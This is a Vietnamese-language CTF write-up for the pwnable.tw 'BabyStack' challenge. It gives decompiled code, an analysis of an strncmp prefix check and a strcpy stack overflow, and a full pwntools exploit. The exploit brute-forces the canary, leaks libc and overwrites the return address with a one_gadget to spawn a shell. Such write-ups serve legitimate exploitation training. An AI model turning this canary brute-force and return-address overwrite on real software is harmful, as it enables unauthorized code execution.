pwnable.tw

BabyStack

Vuln: Chương trình kiểm tra mật khẩu không cẩn thận với hàm strncmp(), dẫn đến bị bruteforce bởi attacker. Chương trình copy dữ liệu với hàm strcpy() nhưng không kiểm tra kích thước buffer, dẫn đến stack buffer overflow.

tl;dr: Từ hàm này có thể gây overflow trên stack frame của hàm khác.

February 14, 2026 Easy

Recon

Mitigation

$ pwn checksec babystack
[*] '/home/hungnt/pwnable.tw/babystack/babystack'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
$ file babystack
babystack: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, stripped

Code

main()

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  _QWORD *v3; // rcx
  __int64 v4; // rdx
  char v6[64]; // [rsp+0h] [rbp-60h] BYREF
  char rand0[16]; // [rsp+40h] [rbp-20h] BYREF
  char choice[16]; // [rsp+50h] [rbp-10h] BYREF

  setup();
  fd_random = open("/dev/urandom", 0);
  read(fd_random, rand0, 0x10uLL);
  v3 = rand1;
  v4 = *(_QWORD *)&rand0[8];
  *(_QWORD *)rand1 = *(_QWORD *)rand0;
  v3[1] = v4;
  close(fd_random);
  while ( 1 )
  {
    write(1, ">> ", 3uLL);
    _read_chk(0LL, choice, 16LL, 16LL);
    if ( choice[0] == '2' )
      break;
    if ( choice[0] == '3' )
    {
      if ( check )
        magic_copy(v6);
      else
invalid:
        puts("Invalid choice");
    }
    else
    {
      if ( choice[0] != '1' )
        goto invalid;
      if ( check )
        check = 0;
      else
        login(rand0);
    }
  }
  if ( !check )
    exit(0);
  memcmp(rand0, rand1, 0x10uLL);
  return 0LL;
}

login()

int __fastcall login(const char *rand0)
{
  size_t pw_len; // rax
  char password[128]; // [rsp+10h] [rbp-80h] BYREF

  printf("Your passowrd :");
  sub_CA0((unsigned __int8 *)password, 127u);
  pw_len = strlen(password);
  if ( strncmp(password, rand0, pw_len) )
    return puts("Failed !");
  check = 1;
  return puts("Login Success !");
}

magic_copy()

int __fastcall magic_copy(char *a1)
{
  char src[128]; // [rsp+10h] [rbp-80h] BYREF

  printf("Copy :");
  sub_CA0((unsigned __int8 *)src, 63u);
  strcpy(a1, src);
  return puts("It is magic copy !");
}

Solve

Chương trình đọc 16 bytes ngẫu nhiên từ /dev/urandom rồi ghi vào rand0, copy vào rand1, giá trị này đc dùng làm stack canary.

Vì ở hàm login(), chương trình check mật khẩu bằng hàm strncmp():

pw_len = strlen(password);
if ( strncmp(password, rand0, pw_len) )
    return puts("Failed !");

Nên chỉ cần mật khẩu mình nhập vào và số ngẫu nhiên kia trùng prefix là login thành công. Và lại còn đc phép login nhiều lần, nên mình có thể bruteforce đc stack canary.

Mục tiêu bây giờ là làm sao buffer overflow để ghi đè đc return address. Nhưng lấy đâu ra buffer overflow bây giờ? Mình lợi dụng hàm strcpy() ở magic_copy(). Vì khoảng cách từ v6 đến return address chắc chắn ngắn hơn từ src, nên nếu dữ liệu ở src vượt quá 64 bytes, thì strcpy() sẽ gây overflow, vì nó copy cho đến khi gặp null byte mà.

Nhưng ở magic_copy() chỉ đc nhập 63 bytes vào src. Nhưng lại để ý là src ko bị clear, trước đó ở login() mình đc nhập vào 127 bytes password, mà buffer của password lại trùng với src trên stack frame, vậy là có thể dễ dàng buffer overflow ghi đè return address của main().

Rồi nhưng mà ghi đè return address với cái gì bây giờ? Mình phải leak libc đã chứ nhỉ? Thế thì mình lại lợi dụng hàm strcpy() để copy dữ liệu trên stack vào rand0 (trùng hợp là một địa chỉ libc). Sau đó mình lại bruteforce đc địa chỉ libc, thế là ok.

Script

#!/usr/bin/env python3

from pwn import *

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\0"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len

exe = ELF("babystack_patched", checksec=False)
libc = ELF("libc_64.so.6", checksec=False)
ld = ELF("./ld-2.23.so", checksec=False)

context.terminal = ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe", "-w", "0", "split-pane", "-V", "-s", "0.5", "wsl.exe", "-d", "Ubuntu-24.04", "bash", "-c"]
context.binary = exe

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
breakrva 0xEBB
breakrva 0x1052
# breakrva 0xE1E
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        sleep(0.1)
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
            sleep(1)
        return p
    else:
        host = "chall.pwnable.tw"
        port = 10205
        return remote(host, port)

p = conn()

def login(pw):
    sla(p, b'>>', b'1')
    sa(p, b'passowrd', pw)

def magic_copy(pl):
    sla(p, b'>>', b'3')
    sa(p, b'Copy', pl)
    sleep(0.01)

def bf(result_len, init=b''):
    result = init
    last_correct = False
    while len(result) < result_len:
        print(result)
        for i in range(1, 0xff):
            slan(p, b'>>', 1)
            if last_correct:
                last_correct = False
                break
            sla(p, b'passowrd', result + p8(i))
            if b"Failed" in rl(p):
                continue
            else:
                last_correct = True
                result += p8(i)
    return result

# Brute force canary
print("Leaking canary")
canary = bf(16)
print(f"canary -> {canary}")

# Copy libc address
login(b'\0' + pad(63) + pad(8))
magic_copy(pad(63))

slan(p, b'>>', 1)

# Brute force libc
print("Leaking libc")
leak_libc = bf(14, pad(8))
libc.address = leak_bytes(leak_libc[8:], 0x78439)
lg("libc base", libc.address)

print("Spawn shell")
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL
'''
one_gadget = libc.address + 0x45216
lg("one gadget", one_gadget)

login(flat(
    b'\0',
    pad(63),
    canary,
    pad(104 - 64 - 16),
    one_gadget
))
magic_copy(pad(63))

slan(p, b'>>', 2)

ia(p)